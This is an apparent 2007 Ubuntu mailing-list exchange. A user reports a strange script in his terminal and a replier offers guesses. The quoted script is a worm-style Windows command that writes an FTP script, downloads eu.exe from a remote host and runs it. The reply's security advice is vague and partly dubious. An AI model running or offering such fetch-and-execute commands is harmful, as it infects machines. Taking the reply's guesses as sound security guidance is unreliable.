Antivirus program for ubuntu feisty amd64

cj debiani386 at
Sat May 12 04:02:49 UTC 2007

Lucio M Nicolosi wrote:
> Mario Vukelic wrote:
>>> You would not have had any infections on Linux without the antivir
>>> program either, since there are no Linux viruses in the wild :)
> New to Linux, installed a Ubuntu 6.10 partition (for tests) in my office 
> desktop, connected to Novell Netware and an ADSL link (Suse Linux Proxy 
> and Firewall).
> A couple of days ago noticed an application suddenly taking control of 
> the terminal window and running the following script:
> (user)@phil:~$ 5~.~
> (user)@phil::~$ %systemroot%\system32\cmd.exe
> (user)@phil:~$ cmd /c echo open 42043 >> ik     &echo 
> user t g >> ik &echo get eu.exe >> ik &echo bye >> ik &ftp -n -v -s:ik 
> &del ik &eu.exe &exit
> from the script "ik" in /home/(user)
> Could't find any "ik" script in my home (Ubuntu 7.04) desktop.
> Looked like a worm, then I run antivirus on Win partition, looked for 
> the Windows "eu.exe" virus and variants but found no trace of it, at 
> least on my desktop.
> Has anyone any idea of what kind of script is this?
> L.
More then likely, someone logged on to your computer (looks like they 
did it through telnet, but i could be wrong). In that case, either hook 
your computer into a firewall or download one for linux (which linux 
doesnt really need one, but if you are using your system for large-scale 
business, then its a good idea to get a firewall)

Sometimes i have noticed that when somebody logs on to my system and 
runs there script (yes i was hacked once..good thing my firewall blocked 
the attack...but it didnt catch the remote login?), it doesnt execute 
right..just fyi..most of the time it does though, especially when DoSing.


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